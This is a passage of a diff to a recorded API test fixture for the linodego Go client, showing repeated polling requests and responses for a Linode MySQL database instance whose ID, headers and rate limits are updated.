-16757,7 +21557,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16773,17 +21573,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16796,16 +21597,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:55:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16821,7 +21625,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16837,17 +21641,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16860,16 +21665,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:55:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16885,7 +21693,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16901,17 +21709,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16924,16 +21733,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:55:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -16949,7 +21761,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -16965,17 +21777,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -16988,16 +21801,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:55:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17013,7 +21829,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17029,17 +21845,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17052,16 +21869,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:56:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17077,7 +21897,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17093,17 +21913,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17116,16 +21937,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:56:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17141,7 +21965,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17157,17 +21981,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17180,16 +22005,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:56:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17205,7 +22033,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17221,17 +22049,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17244,16 +22073,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:56:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17269,7 +22101,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17285,17 +22117,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17308,16 +22141,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:57:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17333,7 +22169,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17349,17 +22185,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17372,16 +22209,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:57:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17397,7 +22237,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17413,17 +22253,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17436,16 +22277,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:57:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17461,7 +22305,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17477,17 +22321,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17500,16 +22345,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:57:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17525,7 +22373,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17541,17 +22389,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -17564,16 +22413,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:58:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -17589,7 +22441,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -17605,17 +22457,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": 